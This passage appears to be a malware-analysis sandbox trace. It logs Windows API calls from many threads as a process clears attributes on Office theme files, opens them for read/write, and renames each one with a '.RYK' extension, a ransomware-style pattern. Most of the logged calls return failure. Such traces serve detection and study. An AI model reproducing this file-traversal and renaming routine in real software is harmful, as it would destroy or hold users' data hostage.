	[0164.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.306] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.306] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 507
	os_tid = 0xd78

	[0164.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0164.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.472] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.472] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 508
	os_tid = 0xcf8

	[0164.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0164.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.309] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 509
	os_tid = 0xcfc

	[0164.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", dwFileAttributes=0x80) returned 0
	[0164.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.474] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 510
	os_tid = 0x180

	[0164.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF", dwFileAttributes=0x80) returned 0
	[0164.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.620] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.621] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 511
	os_tid = 0xc4c

	[0164.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0164.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.478] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.478] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 512
	os_tid = 0xb88

	[0164.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0164.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.622] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 513
	os_tid = 0xb94

	[0164.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM", dwFileAttributes=0x80) returned 0
	[0164.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.624] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.625] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 514
	os_tid = 0xdac

	[0164.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF", dwFileAttributes=0x80) returned 0
	[0164.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.627] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.627] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\LEVEL.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\level.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 515
	os_tid = 0x698

	[0164.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0164.630] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.630] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.630] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 516
	os_tid = 0x560

	[0164.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0164.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.487] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.487] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 517
	os_tid = 0xb48

	[0164.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM", dwFileAttributes=0x80) returned 0
	[0164.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.489] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 518
	os_tid = 0xc5c

	[0164.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", dwFileAttributes=0x80) returned 0
	[0164.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.838] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.838] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 519
	os_tid = 0xcf0

	[0164.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0164.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.634] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.634] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 520
	os_tid = 0x54c

	[0164.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0164.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.636] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.636] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 521
	os_tid = 0x858

	[0164.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM", dwFileAttributes=0x80) returned 0
	[0164.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.638] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.638] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 522
	os_tid = 0x8c8

	[0164.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF", dwFileAttributes=0x80) returned 0
	[0164.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.841] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.841] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PAPYRUS.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\papyrus.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 523
	os_tid = 0x5dc

	[0164.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0164.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.642] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.642] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 524
	os_tid = 0x7f4

	[0164.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0164.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.645] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.645] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 525
	os_tid = 0x9a4

	[0164.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM", dwFileAttributes=0x80) returned 0
	[0164.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.889] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.889] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 526
	os_tid = 0x284

	[0164.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF", dwFileAttributes=0x80) returned 0
	[0164.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.648] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.649] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 527
	os_tid = 0xd30

	[0164.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0164.890] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.891] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.891] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 528
	os_tid = 0xc68

	[0164.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0165.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.134] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.135] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 529
	os_tid = 0x74c

	[0165.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0165.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.330] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.330] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 530
	os_tid = 0x7c4

	[0165.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM", dwFileAttributes=0x80) returned 0
	[0165.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PROFILE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\profile.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.341] CloseHandle (hObject=0xffffffffffffffff) returned 0
